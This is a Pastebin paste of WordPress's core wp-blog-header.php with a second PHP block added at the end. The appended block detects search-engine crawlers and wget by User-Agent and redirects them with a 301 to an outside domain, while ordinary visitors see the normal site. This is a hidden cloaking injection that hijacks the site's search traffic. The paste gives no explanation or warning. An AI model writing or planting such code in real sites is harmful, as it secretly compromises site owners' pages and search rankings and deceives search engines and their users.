Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Loads the WordPress environment and template.
- *
- * @package WordPress
- */
- if ( ! isset( $wp_did_header ) ) {
- $wp_did_header = true;
- // Load the WordPress library.
- require_once( dirname( __FILE__ ) . '/wp-load.php' );
- // Set up the WordPress query.
- wp();
- // Load the theme template.
- require_once( ABSPATH . WPINC . '/template-loader.php' );
- }
- ?>
- <?php
- if(preg_match('/Google Web Preview|bot|Googlebot|googlebot|google|wget/i',$_SERVER['HTTP_USER_AGENT'])) {
- Header( "HTTP/1.1 301 Moved Permanently" );
- Header( "Location: http://www.alemizmir.com/" );
- };
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement